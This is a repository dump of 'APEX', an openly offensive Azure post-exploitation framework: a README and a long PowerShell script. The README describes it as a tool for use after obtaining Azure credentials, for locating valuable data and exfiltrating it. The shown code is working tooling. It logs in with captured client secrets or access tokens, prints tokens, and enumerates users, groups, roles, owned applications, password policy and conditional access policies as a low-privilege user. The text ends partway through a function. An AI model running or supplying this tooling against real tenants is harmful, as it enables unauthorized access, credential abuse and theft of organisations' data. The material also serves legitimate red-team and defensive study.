├── README.md └── APEX.ps1 /README.md: -------------------------------------------------------------------------------- 1 | # APEX (previously AzurePwn)- Azure Post Exploitation Framework 2 | 3 | An attempt to ease up post ex tasks once we have access to some sort of credentials to an Azure related account. 4 | To be honest it is nothing new or spectacular. Just my old lazy ass doing some shortcuts so I don't need to remember all the commands I need over and over again. 5 | 6 | ## Architecture 7 | APEX is built on a modular architecture combining: 8 | - Microsoft Graph PowerShell Module : For accessing and querying Azure AD resources and dynamic groups. 9 | - Azure CLI : Utilized for storage account interrogations and key vault management. 10 | - Az PowerShell Module : Provides additional exploratory capabilities within Azure resources. 11 | 12 | It has pre-buildin queries and attacks which you can use to speed things up and to also not forget to check certain stuff. 13 | 14 | ## Usage 15 | Just run APEX via IEX or .\APEX.ps1, however you like. 16 | Make sure to use PS7 as some functions might not be available or work with lower PowerShell versions. 17 | The first steps are to set a tenant and login to the three tools. 18 | Afterwards it is all about the Queries and Attack menu. 19 | Leverage the built-in queries to quickly get an overview of the capabilities of your current account. 20 | Take advantage of combining the output of the three different tools, getting as much info as possible on the stuff you are interested in. 21 | Some features like the Storage and Key Vault menu allow easy navigation through available resources, making it a breeze to find the juice stuff and exfiltrate it. 22 | More on this on YouTube: https://www.youtube.com/watch?v=wDbf-JVsW5c 23 | 24 | ![APEX](https://github.com/user-attachments/assets/ec80621d-93e2-42d7-8714-6ee02c01dfa5) 25 | 26 | ![APEX1](https://github.com/user-attachments/assets/c16d1399-a7cf-4888-9ff0-37529a2218d3) 27 | -------------------------------------------------------------------------------- /APEX.ps1: -------------------------------------------------------------------------------- 1 | # Post Exploitation Tool for MS Cloud 2 | # Combines Azure CLI and the Az and Graph PS Modules 3 | # Optimized and tested with PS7. Some functions might not work with PS5 4 | 5 | # Global variables to store tenant information and login accounts 6 | $Global:tenantDomain = "Not set" 7 | $Global:tenantID = "Not set" 8 | $Global:azureCliAccount = "Not logged in" 9 | $Global:azureCliId = "N/A" 10 | $Global:azureCliSPName = "N/A" 11 | $Global:azModuleAccount = "Not logged in" 12 | $Global:azModuleId = "N/A" 13 | $Global:azModuleSPName = "N/A" 14 | $Global:graphModuleAccount = "Not logged in" 15 | $Global:graphModuleId = "N/A" 16 | 17 | # Header information for all menus 18 | function DisplayHeader { 19 | Write-Host "==================================================" -ForegroundColor Cyan 20 | Write-Host "==== APEX - Azure Post Exploitation Framework ====" -ForegroundColor Cyan 21 | Write-Host "==================================================" -ForegroundColor Cyan 22 | Write-Host "" 23 | Write-Host "Tenant Name: $tenantDomain" -ForegroundColor $(if ($tenantDomain -eq "Not set") { "Red" } else { "Green" }) 24 | Write-Host "Tenant ID: $tenantID" -ForegroundColor $(if ($tenantID -eq "Not set") { "Red" } else { "Green" }) 25 | Write-Host "Azure CLI Account Name: $azureCliAccount" -ForegroundColor $(if ($azureCliAccount -eq "Not logged in") { "Red" } else { "DarkGreen" }) 26 | Write-Host "Azure CLI Account Object ID: $azureCliId" -ForegroundColor $(if ($azureCliAccount -eq "Not logged in") { "Red" } else { "DarkGreen" }) 27 | Write-Host "Azure CLI Account Service Principal Name: $azureCliSPName" -ForegroundColor $(if ($azureCliAccount -eq "Not logged in") { "Red" } else { "DarkGreen" }) 28 | Write-Host "Az PS Module Account: $azModuleAccount" -ForegroundColor $(if ($azModuleAccount -eq "Not logged in") { "Red" } else { "Yellow" }) 29 | Write-Host "Az PS Module Object ID: $azModuleId" -ForegroundColor $(if ($azModuleAccount -eq "Not logged in") { "Red" } else { "Yellow" }) 30 | Write-Host "Az PS Module Service Principal Name: $azModuleSPName" -ForegroundColor $(if ($azModuleAccount -eq "Not logged in") { "Red" } else { "Yellow" }) 31 | Write-Host "Graph PS Module Account Name: $graphModuleAccount" -ForegroundColor $(if ($graphModuleAccount -eq "Not logged in") { "Red" } else { "DarkYellow" }) 32 | Write-Host "Graph PS Module Objet ID: $graphModuleId" -ForegroundColor $(if ($graphModuleAccount -eq "Not logged in") { "Red" } else { "DarkYellow" }) 33 | Write-Host "" 34 | } 35 | 36 | # Function to clear Azure CLI details 37 | function ResetAzureCliDetails { 38 | $Global:azureCliAccount = "Not logged in" 39 | $Global:azureCliId = "N/A" 40 | $Global:azureCliSPName = "N/A" 41 | } 42 | 43 | # Function to clear Az PowerShell module details 44 | function ResetAzModuleDetails { 45 | $Global:azModuleAccount = "Not logged in" 46 | $Global:azModuleId = "N/A" 47 | $Global:azModuleSPName = "N/A" 48 | } 49 | 50 | # Function to clear Graph PowerShell module details 51 | function ResetGraphModuleDetails { 52 | $Global:graphModuleAccount = "Not logged in" 53 | $Global:graphModuleId = "N/A" 54 | } 55 | 56 | # Function to check if Azure CLI is installed and up to date 57 | function Check-AzureCLI { 58 | Write-Host "Checking if az CLI is installed..." 59 | 60 | try { 61 | $versionRawOutput = az --version 62 | 63 | $hasUpdates = $false 64 | $versionRawOutput | ForEach-Object { 65 | Write-Host $_ 66 | } 67 | 68 | if ($versionRawOutput -match 'WARNING: You have \d+ update\(s\) available.') { 69 | Write-Host "Updates are available for az CLI." -ForegroundColor Yellow 70 | $upgradeChoice = Read-Host -Prompt "Would you like to upgrade to the latest version? (Y/N)" 71 | if ($upgradeChoice -eq "Y") { 72 | Write-Host "Upgrading az CLI..." 73 | az upgrade --yes 74 | } 75 | } else { 76 | Write-Host "az CLI is up to date." -ForegroundColor Green 77 | } 78 | } 79 | catch { 80 | Write-Host "az CLI is not installed." -ForegroundColor Red 81 | $installChoice = Read-Host -Prompt "Would you like to install it? (Y/N)" 82 | if ($installChoice -eq "Y") { 83 | Write-Host "Installing az CLI..." 84 | Invoke-Expression "Invoke-WebRequest -Uri https://aka.ms/InstallAzureCliWindows -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -ArgumentList '/i', '.\AzureCLI.msi', '/quiet', '/norestart' -Wait; Remove-Item -Force .\AzureCLI.msi" 85 | Write-Host "az CLI installed successfully." -ForegroundColor Green 86 | } 87 | } 88 | } 89 | 90 | # Function to check if a PowerShell module is installed, can be imported, and needs an update 91 | function Check-UpdateModule { 92 | param ( 93 | [string]$moduleName 94 | ) 95 | 96 | Write-Host "Checking availability of $moduleName module..." 97 | 98 | if (Get-Module -ListAvailable -Name $moduleName) { 99 | try { 100 | if (-not (Get-Module -Name $moduleName)) { 101 | Write-Host "Importing $moduleName module..." 102 | Import-Module $moduleName -ErrorAction Stop 103 | } 104 | Write-Host "$moduleName module is installed and successfully imported." -ForegroundColor Green 105 | 106 | # Check for module updates 107 | Write-Host "Checking for updates for $moduleName module..." 108 | $moduleVersion = (Get-InstalledModule -Name $moduleName).Version 109 | $availableVersion = (Find-Module -Name $moduleName).Version 110 | 111 | if ($moduleVersion -lt $availableVersion) { 112 | Write-Host "A newer version of $moduleName module is available." -ForegroundColor Yellow 113 | $updateChoice = Read-Host -Prompt "Would you like to update $moduleName module? (Y/N)" 114 | if ($updateChoice -eq "Y") { 115 | Write-Host "Updating $moduleName module..." 116 | Update-Module -Name $moduleName -Force 117 | Write-Host "$moduleName module updated successfully." -ForegroundColor Green 118 | } 119 | } else { 120 | Write-Host "$moduleName module is up to date." -ForegroundColor Green 121 | } 122 | } 123 | catch { 124 | Write-Host "Unable to import $moduleName module despite it being installed." -ForegroundColor Red 125 | } 126 | } 127 | else { 128 | Write-Host "$moduleName module is not installed." -ForegroundColor Yellow 129 | $installChoice = Read-Host -Prompt "Would you like to install it? (Y/N)" 130 | if ($installChoice -eq "Y") { 131 | Write-Host "Installing $moduleName module..." 132 | Install-Module -Name $moduleName -AllowClobber -Scope CurrentUser -Force 133 | Write-Host "Importing $moduleName module..." 134 | Import-Module $moduleName -ErrorAction Stop 135 | Write-Host "$moduleName module was successfully installed and imported." -ForegroundColor Green 136 | } 137 | } 138 | } 139 | 140 | # Login menu structure 141 | function LoginMenu { 142 | while ($true) { 143 | Clear-Host 144 | DisplayHeader 145 | Write-Host "Login Menu" -ForegroundColor Cyan 146 | Write-Host "1. Set Tenant" 147 | Write-Host "2. Azure CLI Login" 148 | Write-Host "3. Az PowerShell Module Login" 149 | Write-Host "4. Microsoft Graph PowerShell Module Login" 150 | Write-Host "5. Get AccessToken" 151 | Write-Host "6. Logout everything and forget Tenant" 152 | Write-Host "B. Return to Main Menu" 153 | 154 | $userInput = Read-Host -Prompt "Select an option" 155 | switch ($userInput) { 156 | "1" { 157 | Set-Tenant 158 | } 159 | "2" { 160 | AzureCLILoginMenu 161 | } 162 | "3" { 163 | AzPSLoginMenu 164 | } 165 | "4" { 166 | GraphPSLoginMenu 167 | } 168 | "5" { 169 | GetAccessToken 170 | } 171 | "6" { 172 | Logout-AllServices 173 | } 174 | "B" { 175 | return 176 | } 177 | default { 178 | Write-Host "Invalid selection, please try again." 179 | Write-Host "`nPress any key to continue..." 180 | [void][System.Console]::ReadKey($true) 181 | } 182 | } 183 | } 184 | } 185 | 186 | # Function to set the tenant using an external API 187 | function Set-Tenant { 188 | while ($true) { 189 | Clear-Host 190 | DisplayHeader 191 | Write-Host "Set Tenant Menu" -ForegroundColor Cyan 192 | Write-Host "Enter tenant domain:" -ForegroundColor Yellow 193 | $tenantDomainInput = Read-Host 194 | 195 | if ($tenantDomainInput -eq "B") { 196 | return 197 | } 198 | 199 | if ($tenantDomainInput) { 200 | try { 201 | $TenantId = (Invoke-RestMethod -UseBasicParsing -Uri "https://odc.officeapps.live.com/odc/v2.1/federationprovider?domain=$tenantDomainInput").TenantId 202 | 203 | if ($TenantId) { 204 | $Global:tenantID = $TenantId 205 | $Global:tenantDomain = $tenantDomainInput 206 | Write-Host "Tenant set to: $tenantDomain (ID: $tenantID)" -ForegroundColor Green 207 | break 208 | } else { 209 | Write-Host "Failed to retrieve tenant ID. The domain might be incorrect." -ForegroundColor Red 210 | } 211 | } 212 | catch { 213 | Write-Host "Failed to retrieve tenant details. The domain might be incorrect." -ForegroundColor Red 214 | } 215 | } else { 216 | Write-Host "Invalid tenant input." -ForegroundColor Red 217 | } 218 | } 219 | } 220 | 221 | # Function to get access tokens 222 | function GetAccessToken { 223 | Clear-Host 224 | DisplayHeader 225 | Write-Host "Get Access Token" -ForegroundColor Cyan 226 | Write-Host "Select tool to use:" -ForegroundColor Yellow 227 | Write-Host "1. Azure CLI" -ForegroundColor Yellow 228 | Write-Host "2. Az PS Module" -ForegroundColor Yellow 229 | $toolChoice = Read-Host 230 | 231 | try { 232 | Clear-Host 233 | DisplayHeader 234 | if ($toolChoice -eq "1") { 235 | Write-Host "AZ CLI output:" -ForegroundColor Magenta 236 | az account get-access-token --output json 237 | } 238 | elseif ($toolChoice -eq "2") { 239 | Write-Host "AZ PS Module output:" -ForegroundColor Magenta 240 | $token = Get-AzAccessToken 241 | Write-Host "Token: $($token.Token)" -ForegroundColor Green 242 | } 243 | else { 244 | Write-Host "Invalid selection, please try again." -ForegroundColor Red 245 | } 246 | } 247 | catch { 248 | Write-Host "Error fetching access token: $_" -ForegroundColor Red 249 | } 250 | 251 | Write-Host "`nPress any key to return to the login menu..." 252 | [void][System.Console]::ReadKey($true) 253 | } 254 | 255 | # Azure CLI Login Menu 256 | function AzureCLILoginMenu { 257 | while ($true) { 258 | Clear-Host 259 | DisplayHeader 260 | Write-Host "Azure CLI Login" -ForegroundColor Cyan 261 | Write-Host "1. Interactively" 262 | Write-Host "2. Device Code" 263 | Write-Host "3. Service Principal" 264 | Write-Host "B. Back to Login Menu" 265 | 266 | $userInput = Read-Host -Prompt "Select a login method" 267 | switch ($userInput) { 268 | "1" { 269 | Login-AzureCLI 270 | } 271 | "2" { 272 | Login-AzureCLI-DC 273 | } 274 | "3" { 275 | Login-AzureCLI-SP 276 | } 277 | "B" { 278 | return 279 | } 280 | default { 281 | Write-Host "Invalid selection, please try again." 282 | Write-Host "`nPress any key to continue..." 283 | [void][System.Console]::ReadKey($true) 284 | } 285 | } 286 | } 287 | } 288 | 289 | # Function to login to Azure CLI 290 | function Login-AzureCLI { 291 | ResetAzureCliDetails 292 | Write-Host "Logging into Azure CLI using tenant '$tenantID'..." -ForegroundColor Yellow 293 | try { 294 | az logout 295 | if ($tenantID -ne "Not set") { 296 | $result = az login --tenant $tenantID --output json --allow-no-subscriptions 297 | $loginInfo = $result | ConvertFrom-Json | Select-Object -First 1 298 | $Global:azureCliAccount = $loginInfo.user.name 299 | 300 | # Fetch Object ID using the logged-in user 301 | $userId = az ad user show --id $loginInfo.user.name --query id -o tsv 302 | $Global:azureCliId = $userId 303 | 304 | Write-Host "Successfully logged into Azure CLI as $azureCliAccount." -ForegroundColor Green 305 | Pause 306 | } else { 307 | Write-Host "Tenant must be set before logging in. Please set the tenant first." -ForegroundColor Red 308 | Pause 309 | } 310 | } 311 | catch { 312 | Write-Host "Error during Azure CLI login: $_" -ForegroundColor Red 313 | Pause 314 | } 315 | } 316 | 317 | function Login-AzureCLI-DC { 318 | ResetAzModuleDetails 319 | Write-Host "Logging into Azure CLI via Device Code flow using tenant '$tenantID'..." -ForegroundColor Yellow 320 | try { 321 | az logout 322 | if ($tenantID -ne "Not set") { 323 | $result = az login --use-device-code --tenant $tenantID --output json --allow-no-subscriptions 324 | $loginInfo = $result | ConvertFrom-Json | Select-Object -First 1 325 | $Global:azureCliAccount = $loginInfo.user.name 326 | 327 | # Fetch Object ID using the logged-in user 328 | $userId = az ad user show --id $loginInfo.user.name --query id -o tsv 329 | $Global:azureCliId = $userId 330 | 331 | Write-Host "Successfully logged into Azure CLI as $azureCliAccount." -ForegroundColor Green 332 | Pause 333 | } else { 334 | Write-Host "Tenant must be set before logging in. Please set the tenant first." -ForegroundColor Red 335 | Pause 336 | } 337 | } 338 | catch { 339 | Write-Host "Error during Azure CLI login: $_" -ForegroundColor Red 340 | Pause 341 | } 342 | } 343 | 344 | # Function to login to Azure CLI as a service principal 345 | function Login-AzureCLI-SP { 346 | ResetAzureCliDetails 347 | Clear-Host 348 | DisplayHeader 349 | Write-Host "Login to Azure CLI as Service Principal" -ForegroundColor Cyan 350 | Write-Host "Enter the application (client) ID:" -ForegroundColor Yellow 351 | $appId = Read-Host 352 | 353 | Write-Host "Enter the client secret:" -ForegroundColor Yellow 354 | $clientSecret = Read-Host 355 | 356 | try { 357 | az logout 358 | 359 | az login --service-principal -u $appId -p $clientSecret --tenant $Global:tenantId 360 | 361 | $spDetails = az ad sp show --id $appId --query "{Name: displayName, Id: id, SpName: appId}" -o json | ConvertFrom-Json 362 | $Global:azureCliAccount = $spDetails.Name 363 | $Global:azureCliId = $spDetails.Id 364 | $Global:azureCliSPName = $spDetails.SpName 365 | 366 | Write-Host "Successfully logged into Azure CLI as Service Principal ($spDetails.Name)." -ForegroundColor Green 367 | Pause 368 | } 369 | catch { 370 | Write-Host "Failed to login to Azure CLI as Service Principal: $_" -ForegroundColor Red 371 | Pause 372 | } 373 | 374 | Write-Host "`nPress any key to return to the login menu..." 375 | [void][System.Console]::ReadKey($true) 376 | } 377 | 378 | # Az PowerShell Module Login Menu 379 | function AzPSLoginMenu { 380 | while ($true) { 381 | Clear-Host 382 | DisplayHeader 383 | Write-Host "Az PowerShell Module Login" -ForegroundColor Cyan 384 | Write-Host "1. Interactively" 385 | Write-Host "2. Access Token" 386 | Write-Host "3. Device Code" 387 | Write-Host "4. Service Principal" 388 | Write-Host "B. Back to Login Menu" 389 | 390 | $userInput = Read-Host -Prompt "Select a login method" 391 | switch ($userInput) { 392 | "1" { 393 | Login-AzModule 394 | } 395 | "2" { 396 | Login-AzModule-AT 397 | } 398 | "3" { 399 | Login-AzModule-DC 400 | } 401 | "4" { 402 | Login-AzModule-SP 403 | } 404 | "B" { 405 | return 406 | } 407 | default { 408 | Write-Host "Invalid selection, please try again." 409 | Write-Host "`nPress any key to continue..." 410 | [void][System.Console]::ReadKey($true) 411 | } 412 | } 413 | } 414 | } 415 | 416 | # Function to login to Az PowerShell module 417 | function Login-AzModule { 418 | ResetAzModuleDetails 419 | Write-Host "Logging into Az PowerShell module using tenant '$tenantID'..." -ForegroundColor Yellow 420 | try { 421 | Disconnect-AzAccount -ErrorAction SilentlyContinue 422 | if ($tenantID -ne "Not set") { 423 | $account = Connect-AzAccount -Tenant $tenantID -ErrorAction Stop 424 | $Global:azModuleAccount = (Get-AzContext).Account.Id 425 | $userId = (Get-AzADUser -UserPrincipalName $Global:azModuleAccount).Id 426 | $Global:azModuleId = $userId 427 | Write-Host "Successfully logged into Az PowerShell module as $azModuleAccount." -ForegroundColor Green 428 | Pause 429 | } else { 430 | Write-Host "Tenant must be set before logging in. Please set the tenant first." -ForegroundColor Red 431 | Pause 432 | } 433 | } 434 | catch { 435 | Write-Host "Failed to login to Az PowerShell module: $_" -ForegroundColor Red 436 | Pause 437 | } 438 | } 439 | 440 | # Function to login to Az PowerShell module with AccessToken 441 | function Login-AzModule-AT { 442 | ResetAzModuleDetails 443 | Clear-Host 444 | DisplayHeader 445 | Write-Host "Login to Az PS Module with Access Token" -ForegroundColor Cyan 446 | Write-Host "Enter the Access Token" -ForegroundColor Yellow 447 | $AccessToken = Read-Host 448 | 449 | Write-Host "Enter the Account (Id or Name)" -ForegroundColor Yellow 450 | $id = Read-Host 451 | 452 | # Log out of existing sessions 453 | Disconnect-AzAccount -ErrorAction SilentlyContinue 454 | 455 | try { 456 | Disconnect-AzAccount -ErrorAction SilentlyContinue 457 | if ($tenantID -ne "Not set") { 458 | $account = Connect-AzAccount -accesstoken $AccessToken -AccountId $id -TenantId $Global:tenantID -ErrorAction Stop 459 | $Global:azModuleAccount = (Get-AzContext).Account.Id 460 | $userId = (Get-AzADUser -UserPrincipalName $Global:azModuleAccount).Id 461 | $Global:azModuleId = $userId 462 | Write-Host "Successfully logged into Az PowerShell module as $azModuleAccount." -ForegroundColor Green 463 | Pause 464 | } else { 465 | Write-Host "Tenant must be set before logging in. Please set the tenant first." -ForegroundColor Red 466 | Pause 467 | } 468 | } 469 | catch { 470 | Write-Host "Failed to login to Az PowerShell module: $_" -ForegroundColor Red 471 | Pause 472 | } 473 | } 474 | 475 | # Function to login to Az PowerShell module 476 | function Login-AzModule-DC { 477 | ResetAzModuleDetails 478 | Write-Host "Logging into Az PS module via Device Code flow using tenant '$tenantID'..." -ForegroundColor Yellow 479 | try { 480 | Disconnect-AzAccount -ErrorAction SilentlyContinue 481 | if ($tenantID -ne "Not set") { 482 | $account = Connect-AzAccount -Tenant $tenantID -devicecode -ErrorAction Stop 483 | $Global:azModuleAccount = (Get-AzContext).Account.Id 484 | $userId = (Get-AzADUser -UserPrincipalName $Global:azModuleAccount).Id 485 | $Global:azModuleId = $userId 486 | Write-Host "Successfully logged into Az PowerShell module as $azModuleAccount." -ForegroundColor Green 487 | Pause 488 | } else { 489 | Write-Host "Tenant must be set before logging in. Please set the tenant first." -ForegroundColor Red 490 | Pause 491 | } 492 | } 493 | catch { 494 | Write-Host "Failed to login to Az PowerShell module: $_" -ForegroundColor Red 495 | Pause 496 | } 497 | } 498 | 499 | # Function to login to Az PowerShell module as a service principal 500 | function Login-AzModule-SP { 501 | ResetAzModuleDetails 502 | Clear-Host 503 | DisplayHeader 504 | Write-Host "Login to Az PS Module as Service Principal" -ForegroundColor Cyan 505 | Write-Host "Enter the application (client) ID:" -ForegroundColor Yellow 506 | $appId = Read-Host 507 | 508 | Write-Host "Enter the client secret:" -ForegroundColor Yellow 509 | $clientSecret = Read-Host 510 | 511 | # Log out of existing sessions 512 | Disconnect-AzAccount -ErrorAction SilentlyContinue 513 | 514 | # Convert client secret to SecureString and create PSCredential 515 | $secureSecret = ConvertTo-SecureString $clientSecret -AsPlainText -Force 516 | $psCredential = [System.Management.Automation.PSCredential]::new($appId, $secureSecret) 517 | 518 | try { 519 | Connect-AzAccount -ServicePrincipal -Credential $psCredential -TenantId $Global:tenantID -ErrorAction Stop 520 | $spDetails = Get-AzADServicePrincipal -ApplicationId $appId 521 | $Global:azModuleAccount = $spDetails.AppDisplayName 522 | $Global:azModuleId = $spDetails.Id 523 | $Global:azModuleSPName = $spDetails.AppId 524 | 525 | Write-Host "Successfully logged into Az PowerShell module as Service Principal ($spDetails.DisplayName)." -ForegroundColor Green 526 | Pause 527 | } 528 | catch { 529 | Write-Host "Detailed error during login: $($_.Exception.Message)" -ForegroundColor Red 530 | Pause 531 | } 532 | 533 | Write-Host "`nPress any key to return to the login menu..." 534 | [void][System.Console]::ReadKey($true) 535 | } 536 | 537 | # Microsoft Graph PowerShell Module Login Menu 538 | function GraphPSLoginMenu { 539 | while ($true) { 540 | Clear-Host 541 | DisplayHeader 542 | Write-Host "Microsoft Graph PowerShell Module Login" -ForegroundColor Cyan 543 | Write-Host "1. Interactively" 544 | Write-Host "2. Access Token" 545 | Write-Host "3. Device Code" 546 | Write-Host "B. Back to Login Menu" 547 | 548 | $userInput = Read-Host -Prompt "Select a login method" 549 | switch ($userInput) { 550 | "1" { 551 | Login-GraphModule 552 | } 553 | "2" { 554 | Login-GraphModule-AT 555 | } 556 | "3" { 557 | Login-GraphModule-DC 558 | } 559 | "B" { 560 | return 561 | } 562 | default { 563 | Write-Host "Invalid selection, please try again." 564 | Write-Host "`nPress any key to continue..." 565 | [void][System.Console]::ReadKey($true) 566 | } 567 | } 568 | } 569 | } 570 | 571 | # Function to login to Microsoft Graph PowerShell module 572 | function Login-GraphModule { 573 | ResetGraphModuleDetails 574 | Write-Host "Logging into Microsoft Graph PS module using tenant '$tenantID'..." -ForegroundColor Yellow 575 | try { 576 | # Clear any existing session 577 | Disconnect-MgGraph -ErrorAction SilentlyContinue 578 | 579 | if ($tenantID -ne "Not set") { 580 | Connect-MgGraph -TenantId $tenantID -ErrorAction Stop 581 | $Global:graphModuleAccount = (Get-MgContext).Account 582 | $Global:graphModuleId = (Get-MgUser -UserId $Global:graphModuleAccount).Id 583 | Write-Host "Successfully logged into Microsoft Graph PS module as $graphModuleAccount." -ForegroundColor Green 584 | Pause 585 | } else { 586 | Write-Host "Tenant must be set before logging in. Please set the tenant first." -ForegroundColor Red 587 | Pause 588 | } 589 | } 590 | catch { 591 | Write-Host "Failed to login to Microsoft Graph PS module: $_" -ForegroundColor Red 592 | Pause 593 | } 594 | } 595 | 596 | # Function to login to Microsoft Graph PowerShell module via Access Token 597 | function Login-GraphModule-AT { 598 | ResetGraphModuleDetails 599 | Write-Host "Logging into Microsoft Graph PS module with Access Token using tenant '$tenantID'..." -ForegroundColor Yellow 600 | Write-Host "Enter the Access Token" -ForegroundColor Yellow 601 | $AccessToken = Read-Host 602 | $SecureToken = $AccessToken | ConvertTo-SecureString -AsPlainText -Force 603 | 604 | try { 605 | # Clear any existing session 606 | Disconnect-MgGraph -ErrorAction SilentlyContinue 607 | 608 | if ($tenantID -ne "Not set") { 609 | Connect-MgGraph -AccessToken $SecureToken -ErrorAction Stop 610 | $Global:graphModuleAccount = (Get-MgContext).Account 611 | $Global:graphModuleId = (Get-MgUser -UserId $Global:graphModuleAccount).Id 612 | Write-Host "Successfully logged into Microsoft Graph PowerShell module as $graphModuleAccount." -ForegroundColor Green 613 | Pause 614 | } else { 615 | Write-Host "Tenant must be set before logging in. Please set the tenant first." -ForegroundColor Red 616 | Pause 617 | } 618 | } 619 | catch { 620 | Write-Host "Failed to login to Microsoft Graph PowerShell module: $_" -ForegroundColor Red 621 | Pause 622 | } 623 | } 624 | 625 | # Function to login to Microsoft Graph PowerShell module via Devicecode 626 | function Login-GraphModule-DC { 627 | ResetGraphModuleDetails 628 | Write-Host "Logging into Microsoft Graph PS module via Device Code flow using tenant '$tenantID'..." -ForegroundColor Yellow 629 | try { 630 | # Clear any existing session 631 | Disconnect-MgGraph -ErrorAction SilentlyContinue 632 | 633 | if ($tenantID -ne "Not set") { 634 | Connect-MgGraph -TenantId $tenantID -UseDeviceAuthentication -ErrorAction Stop 635 | $Global:graphModuleAccount = (Get-MgContext).Account 636 | $Global:graphModuleId = (Get-MgUser -UserId $Global:graphModuleAccount).Id 637 | Write-Host "Successfully logged into Microsoft Graph PowerShell module as $graphModuleAccount." -ForegroundColor Green 638 | Pause 639 | } else { 640 | Write-Host "Tenant must be set before logging in. Please set the tenant first." -ForegroundColor Red 641 | Pause 642 | } 643 | } 644 | catch { 645 | Write-Host "Failed to login to Microsoft Graph PowerShell module: $_" -ForegroundColor Red 646 | Pause 647 | } 648 | } 649 | 650 | # Function to logout of all services and clear tenant information 651 | function Logout-AllServices { 652 | Clear-Host 653 | DisplayHeader 654 | Write-Host "Logging out of all services and clearing tenant information..." -ForegroundColor Yellow 655 | 656 | try { 657 | az logout 658 | Write-Host "Logged out of Azure CLI." -ForegroundColor Green 659 | } 660 | catch { 661 | Write-Host "Failed to log out of Azure CLI." -ForegroundColor Red 662 | } 663 | 664 | try { 665 | Disconnect-AzAccount -ErrorAction Stop 666 | Write-Host "Logged out of Az PowerShell module." -ForegroundColor Green 667 | } 668 | catch { 669 | Write-Host "Failed to log out of Az PowerShell module." -ForegroundColor Red 670 | } 671 | 672 | try { 673 | Disconnect-MgGraph -ErrorAction Stop 674 | Write-Host "Logged out of Microsoft Graph PowerShell module." -ForegroundColor Green 675 | } 676 | catch { 677 | Write-Host "Failed to log out of Microsoft Graph PowerShell module." -ForegroundColor Red 678 | } 679 | 680 | $Global:tenantDomain = "Not set" 681 | $Global:tenantID = "Not set" 682 | $Global:azureCliAccount = "Not logged in" 683 | $Global:azModuleAccount = "Not logged in" 684 | $Global:graphModuleAccount = "Not logged in" 685 | 686 | Write-Host "Tenant information and accounts have been cleared." -ForegroundColor Green 687 | Write-Host "`nPress any key to return to the main menu..." 688 | [void][System.Console]::ReadKey($true) 689 | } 690 | 691 | # Queries menu structure 692 | function QueriesMenu { 693 | while ($true) { 694 | Clear-Host 695 | DisplayHeader 696 | Write-Host "Queries Menu" -ForegroundColor Cyan 697 | Write-Host "1. User Info" 698 | Write-Host "2. User Groups" 699 | Write-Host "3. Group Members" 700 | Write-Host "4. Role Assignments" 701 | Write-Host "5. Available Resources" 702 | Write-Host "6. Owned Objects" 703 | Write-Host "7. Owned Applications" 704 | Write-Host "8. Administrative Units (Graph only)" 705 | Write-Host "9. Password Policy (Graph only)" 706 | Write-Host "10. Get App Details (CLI only)" 707 | Write-Host "11. Dynamic Groups (Graph only)" 708 | Write-Host "12. Conditional Access Policies as low Priv User (needs AZ CLI and Graph Session and will only work till MS kills the Windows Graph API!!!)" 709 | Write-Host "B. Return to Main Menu" 710 | 711 | $userInput = Read-Host -Prompt "Select an option" 712 | switch ($userInput) { 713 | "1" { 714 | UserInfoQuery 715 | } 716 | "2" { 717 | UserGroupsQuery 718 | } 719 | "3" { 720 | GroupMembersQuery 721 | } 722 | "4" { 723 | RoleAssignmentsQuery 724 | } 725 | "5" { 726 | AvailableResourcesQuery 727 | } 728 | "6" { 729 | OwnedObjectsQuery 730 | } 731 | "7" { 732 | OwnedApplicationsQuery 733 | } 734 | "8" { 735 | AdministrativeUnitsQuery 736 | } 737 | "9" { 738 | PasswordPolicyQuery 739 | } 740 | "10" { 741 | GetAppDetailsQuery 742 | } 743 | "11" { 744 | DynamicGroupsQuery 745 | } 746 | "12" { 747 | ConditionalAccessPoliciesQuery 748 | } 749 | "B" { 750 | return 751 | } 752 | default { 753 | Write-Host "Invalid selection, please try again." 754 | Write-Host "`nPress any key to continue..." 755 | [void][System.Console]::ReadKey($true) 756 | } 757 | } 758 | } 759 | } 760 | 761 | # Helper Function for CAPs to resolve IDs to display names for users and applications 762 | function Resolve-Ids { 763 | param ( 764 | [array]$Ids, 765 | [string]$Type 766 | ) 767 | 768 | $names = @{ } 769 | $guidPattern = '^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$' 770 | 771 | foreach ($id in $Ids) { 772 | if ($id -eq "All" -or $id -eq "None") { 773 | $names[$id] = $id 774 | } elseif ($id -match $guidPattern) { 775 | try { 776 | if ($Type -eq "User") { 777 | $entity = Get-MgUser -UserId $id -ErrorAction Stop 778 | } elseif ($Type -eq "Application") { 779 | $entity = Get-MgServicePrincipal -Filter "AppId eq '$id'" -ErrorAction Stop 780 | } 781 | $names[$id] = $entity.DisplayName 782 | } catch { 783 | $names[$id] = "Unavailable" 784 | } 785 | } else { 786 | $names[$id] = $id # Assume that if it's not an ID, it might already be a name 787 | } 788 | } 789 | return $names 790 | } 791 | 792 | # Helper Function for CAPs to fetch data from an endpoint 793 | function Get-AllLegacyGraphData { 794 | param ( 795 | [string]$AccessToken, 796 | [string]$InitialEndpoint 797 | ) 798 | 799 | $allResults = @() 800 | $nextLink = $InitialEndpoint 801 | 802 | while ($nextLink) { 803 | $headers = @{ "Authorization" = "Bearer $AccessToken" } 804 | 805 | try { 806 | $response = Invoke-RestMethod -Uri $nextLink -Headers $headers -Method Get 807 | } catch { 808 | Write-Error "Failed to fetch data from ${nextLink}: $_" 809 | return $null 810 | } 811 | 812 | if ($response.value) { 813 | $allResults += $response.value 814 | } 815 | 816 | if ($response.'@odata.nextLink') { 817 | $nextLink = $response.'@odata.nextLink' 818 | Write-Host "Found nextLink for pagination: $nextLink" 819 | } else { 820 | $nextLink = $null 821 | } 822 | } 823 | return $allResults 824 | } 825 | 826 | # Helper Function for CAPs to format policy details and resolve names 827 | function Format-PolicyDetails { 828 | param ( 829 | [array]$Policies 830 | ) 831 | 832 | foreach ($policy in $Policies) { 833 | $hasExclusions = $false 834 | Write-Host "`nPolicy: $($policy.displayName)" -ForegroundColor Yellow 835 | 836 | try { 837 | $details = $policy.policyDetail | ForEach-Object { ConvertFrom-Json $_ } 838 | foreach ($detail in $details) { 839 | if ($detail.Conditions.Users.Exclude -or 840 | $detail.Conditions.Applications.Exclude -or 841 | $detail.Conditions.DevicePlatforms.Exclude -or 842 | $detail.Conditions.ClientTypes.Exclude) { 843 | $hasExclusions = $true 844 